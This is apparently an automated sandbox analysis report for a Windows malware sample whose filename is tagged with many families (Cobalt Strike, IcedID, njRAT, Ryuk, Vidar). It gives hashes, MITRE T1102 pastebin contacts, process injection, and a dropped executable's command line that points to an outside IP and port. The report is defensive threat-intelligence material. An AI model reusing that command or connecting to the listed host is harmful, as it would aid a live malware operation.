7c2da493bc94736b1990c56d6c9eb5344d5ec5475723af71b3bbc94a2099806e

Analysis

max time kernel
150s
max time network
144s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 12:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-03_23c03c53f3fe7ed9f8924dd063363d47_cobalt-strike_glassworm_icedid_luca-stealer_njrat_ryuk_satacom_stealc_vidar.exe
Size 2.1MB
Sample260804-pz1wvsbb64
SHA256 7c2da493bc94736b1990c56d6c9eb5344d5ec5475723af71b3bbc94a2099806e
MD5 23c03c53f3fe7ed9f8924dd063363d47
SHA1 06357aef36d3ce06ed3f38a01d838b061c530c90
SHA512 56c895489410c55af374e9d093a98c74600121e60b46f58620e6cf88d64a61a27e65fa9ba128688f75790e32b6dd665b72acb45cb7d6a33d7a9b39f874551a78
SSDEEP 24576:kw4+3Wx0vCiV+wwcOvafECnGu7vCsylpbtrpOQjYi3Piwv1SKNwYe0jwTN+D/XVs:l4+GcFV9+sECnGkvCsQRpOQl/iwCl8
TLSH
T121A56C8D73E450AAC55680B88965F717D6B5740B03309BDB36D04AFF1E27BE9AA39320
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
4596	kg_5fc2f6eb50cb49a48b21a4b65c462062.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
9	pastebin.com
1	pastebin.com

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 4812 wrote to memory of 4596	4812	2026-08-03_23c03c53f3fe7ed9f8924dd063363d47_cobalt-strike_glassworm_icedid_luca-stealer_njrat_ryuk_satacom_stealc_vidar.exe	90

C:\Users\Admin\AppData\Local\Temp\2026-08-03_23c03c53f3fe7ed9f8924dd063363d47_cobalt-strike_glassworm_icedid_luca-stealer_njrat_ryuk_satacom_stealc_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-03_23c03c53f3fe7ed9f8924dd063363d47_cobalt-strike_glassworm_icedid_luca-stealer_njrat_ryuk_satacom_stealc_vidar.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4812
- C:\Users\Admin\AppData\Local\Temp\kg_5fc2f6eb50cb49a48b21a4b65c462062.exe
  "C:\Users\Admin\AppData\Local\Temp\kg_5fc2f6eb50cb49a48b21a4b65c462062.exe" -t 4 -w client_WLQWINKU.work -wi 600 -c 217.156.122.40 -sp 17403
  2⤵
  - Executes dropped EXE
  PID:4596

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

kg_5fc2f6eb50cb49a48b21a4b65c462062.exe

Path C:\Users\Admin\AppData\Local\Temp\kg_5fc2f6eb50cb49a48b21a4b65c462062.exe
Size 1.1MB
SHA256 88c06ad77f9ec7ec0e1f5eb605013f1d6e2ea512f15ad74d62d639665f4487e6
MD5 fb108d7385cc1a227cc6af9e624a6d00
SHA1 19b5e43883ab96556fa3af27d23c1801af4b9a17
SHA512 fd951a8fffcda5c2577eb33ef1667239eb9293fe926af5a621c04d76cd61778344c7281e53b4352d77707eb779143f7b519544baa9fe04c2a66a8d993319b0d1
SSDEEP 12288:5irntrE0OQjuPqmi3DHiIiwvRvo7KNANXJ7+eonje+aTNl1pQLEoUZIq:wbtrpOQjYi3Piwv1SKNwYe0jwTN+
TLSH
T15B453A8D62D8A0AEC55514BC8965FB1AD1E8740B03304FEB36D04EFF1D6AFEDA635620
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4812-0-0x00007FF68EAC0000-0x00007FF68ECF1000-memory.dmp

Download